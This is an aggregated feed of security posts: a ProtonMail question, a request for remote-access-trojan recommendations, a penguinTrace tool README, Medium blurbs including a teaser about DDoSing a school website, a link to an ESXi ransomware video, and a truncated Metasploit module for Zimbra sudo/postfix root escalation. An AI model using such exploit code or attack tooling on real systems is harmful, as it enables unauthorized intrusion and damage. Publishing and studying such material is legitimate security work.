hacking: security in practice
Opinions to protonmail

What do you think about protonmail? Is the data (relatively) safe?

submitted by /u/altanerf
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hacking: security in practice
Sorillus The Rat

So there is a rat called Sorillus, you can look at up on youtube if your unfamiliar, but my query is with those who may ne familiar. Im just curious of an experiences with this client, if its good, or preferred to others. What rat do you think is the best? This is all in the name of friendly conversation, and educational purposes.

submitted by /u/ChimpionYT
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KitPloit - PenTest Tools!
PenguinTrace - Tool To Show How Code Runs At The Hardware Level

https://blogger.googleusercontent.com/img/a/AVvXsEgt4I-nU8mfkEt4Ej4-4EJHArZpyZCwTNveUanbGLF8lOYNnjEqNeyCH2aw4QECwjNQkpl8-5Zhwi2mQPUm2Q5Z4Bpu-ai308ZBW_x0XaZlOiNP3CU-USNLHmkmJckefdcw8EDmtADuTejgE2OQbNl9j8AJ8vLNLP1rfW8MR8GztX9YN5Ao-F58ChoI8Q=w640-h346 penguinTrace is intended to help build an understanding of how programs run at the hardware level. It provides a way to see what instructions compile to, and then step through those instructions and see how they affect machine state as well as how this maps back to variables in the original program. A bit more background is available on the website.

penguinTrace starts a web-server which provides a web interface to edit and run code. Code can be developed in C, C++ or Assembly. The resulting assembly is then displayed and can then be stepped through, with the values of hardware registers and variables in the current scope shown.

penguinTrace runs on Linux and supports the AMD64/X86-64 and AArch64 architectures. penguinTrace can run on other operating systems using Docker, a virtual machine or through the Windows Subsystem for Linux (WSL).
The primary goal of penguinTrace is to allow exploring how programs execute on a processor, however the development provided an opportunity to explore how debuggers work and some lower-level details of interaction with the kernel.

Note: penguinTrace allows running arbitrary code as part of its design. By default it will only listen for connections from the local machine. It should only be configured to listen for remote connections on a trusted network and not exposed to the interface. This can be mitigated by running penguinTrace in a container, and a limited degree of isolation of stepped code can be provided when libcapis available. Getting StartedPrerequisitespenguinTrace requires 64-bit Linux running on a X86-64 or AArch64 processor. It can also run on a Raspberry Pi running a 64-bit (AArch64) Linux distribution. For other operating systems, it can be run on Windows 10 using the Windows Subsystem for Linux (WSL) or in a Docker container. WSL does not support tracee process isolation. python
clang
llvm
llvm-dev
libclang-dev
libcap-dev # For containment BuildingTo build penguinTrace outside of a container, clone the repository and run make. The binaries will be placed in build/binby default.

To build penguinTrace in Docker, run docker build -t penguintrace github.com/penguintrace/penguintrace. RunningOnce penguinTrace is built, running the penguintracebinary will start the server.

If built in a container it can then be run with docker run -it -p 127.0.0.1:8080:8080 --tmpfs /tmp:exec --cap-add=SYS_PTRACE --cap-add=SYS_ADMIN --rm --security-opt apparmor=unconfined penguintrace penguintrace. See Containers for details on better isolating the container.

Then navigate to 127.0.0.1:8080 or localhost:8080 to access the web interface.

Note: In order to run on port 80, you can modify the docker runcommand to map from port 8080 to port 80, e.g. -p 127.0.0.1:80:8080.

If built locally, you can modify the binary to allow it to bind to port 80 with sudo setcap CAP_NET_BIND_SERVICE=+ep penguintrace. It can then be run with penguintrace -c SERVER_PORT 80penguinTrace defaults to port 8080 as it is intended to be run as an unprivileged user. Temporary FilesThe penguinTrace server uses the system temporary directory as a location for compiled binaries and environments for running traced processes. If the PENGUINTRACE_TMPDIRenvironment variable is defined, this directory will be used. It will fall back to the TMPDIRenvironment variable and finally the directories specified in the C library.

Th[...]

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is must correspond to a directory without noexecset, if running in a container it is likely the filesystem will have this set by default. NetworkingBy default penguinTrace only listens on the loopback device and IPv4. If the server is configured to listen on all addresses, then also setting the server to IPv6 will allow connections on both IPv4 and IPv6, this is the default mode when running in a Docker container.

This is because penguinTrace only creates a single thread to listen to connections and so can currently only bind to a single address or all addresses. Session HandlingBy default penguinTrace runs in multiple session mode, each time code is compiled a new session is created. The URL fragment (after the '#') of the UI is updated with the session id, and this URL can be used to reconnect to the same session.

If running in single session mode each penguinTrace instance only supports a single debugging instance. The web UI will automatically reconnect to a previous session. To support multiple sessions, multiple instances should be launched which are listening on different ports. ContainersThe docker_build.shand docker_run.shscripts provide an example of how to run penguinTrace in a Docker container. Dockerfile_noisolateprovides an alterative way of running that does not require the SYS_ADMINcapability but provides less isolation between the server and the traced processes. The SYS_PTRACEcapability is always required for the server to trace processes. misc/apparmor-profileprovides an example AppArmor profile that is suitable for running penguinTrace but may need some customisation for the location of temporary directories and compilers. AArch64 / Raspberry PipenguinTrace will only run under a 64-bit operating system. The official operating systems provided for the Raspberry Pi are all 32-bit, to run penguinTrace something such as pi64 or Arch Linux Arm is required.

Full instructions for setting up a 64-bit OS on Raspberry Pi TBD. AuthorspenguinTrace is developed by Alex Beharrell. LicenseThis project is licensed under the GNU AGPL. A non-permissive open source license is chosen as the intention of this project is educational, and so any derivative works should have the source available so that people can learn from it.

The bundling of the source code relies on the structure of the repository. Derivative works that are not forked from a penguinTrace repository will need to modify the Makefile rules for static/source.tar.gzto ensure the modified source is correctly distributed. AcknowledgementspenguinTrace makes use of jQuery and CodeMirror for some aspects of the web interface. Both are licensed under the MIT License. It also uses the Major Mono font which is licensed under the Open Font License. Download Penguintrace

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Hacking on Medium
Kali Linux — The Paradise for Hackers ! | All About Kali Linux !

Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by…

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Hacking on Medium
Do you want to network with IT and Cyber Security Experts?

https://cdn-images-1.medium.com/max/1970/1*MPyqIg5DpXoDQ-Remxw6Rw.jpeg
LOGYTalks, the new innovative conference platform, is hosting the first of its annual Cyber Security Summits on Thursday 27th October 2022…

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Hacking on Medium
How to set up Virtual-Boxes and Kali Linux for Hacking?

https://cdn-images-1.medium.com/max/2600/0*IWNzRhQB4dxxuS8y
Setting Up Your Boxes

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Hacking on Medium
OverTheWire Wargames: Bandit L02

https://cdn-images-1.medium.com/max/2600/1*dpWnelmmdCalVRtcf1k5fQ.jpeg
Bandit Level 2 write-up

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Hacking on Medium
DDOS my School Website?

https://cdn-images-1.medium.com/max/1280/1*Wz7gVgLlwhsBYG2CXg_JKQ.png
Hey everyone, back with another interesting and crazy blog. In this blog I’m going to tell you how I DDOS attacked my high school’s…

Continue reading on System Weakness »

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Microsoft Office Online Server Remote Code Execution
https://www.reddit.com/r/redteamsec/comments/y82hs3/microsoft_office_online_server_remote_code/

submitted by /u/gid0rah (https://www.reddit.com/user/gid0rah)
[link] (https://www.mdsec.co.uk/2022/10/microsoft-office-online-server-remote-code-execution/) [comments] (https://www.reddit.com/r/redteamsec/comments/y82hs3/microsoft_office_online_server_remote_code/)

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Writing Ransomware for VMWare ESXi
https://www.reddit.com/r/redteamsec/comments/y83vq7/writing_ransomware_for_vmware_esxi/

I wanted to find some ransomware samples for VMware ESXi. I didn't find any, so I decided to write my own. I was shocked at how ridiculously easy this was. I made a video showing how to do this in 33 lines of python. Hopefully, this will help further detection of these kinds of threats. Check it out! Writing Ransomware for ESXi (https://youtu.be/dB0dOF1ood0) submitted by /u/Infosecsamurai (https://www.reddit.com/user/Infosecsamurai)
[link] (https://www.reddit.com/r/redteamsec/comments/y83vq7/writing_ransomware_for_vmware_esxi/) [comments] (https://www.reddit.com/r/redteamsec/comments/y83vq7/writing_ransomware_for_vmware_esxi/)

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Exploit Collector
Fortinet FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass

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Exploit Collector
Zimbra Privilege Escalation

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png This Metasploit module exploits a vulnerable sudo configuration that permits the Zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shellscripts, which means it can execute a root shell.

SHA-256 | 60ec0dcab5b58dbebac7ed6c99c5cf1fb52f76e5b1a5f3723089e823fc252948Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra sudo + postfix privilege escalation',
'Description' => %q{
This module exploits a vulnerable sudo configuration that permits the
zimbra user to execute postfix as root. In turn, postfix can execute
arbitrary shellscripts, which means it can execute a root shell.
},
'License' => MSF_LICENSE,
'Author' => [
'EvergreenCartoons', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2022-10-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-3569' ],
[ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".Source:packetstormsecurity.com

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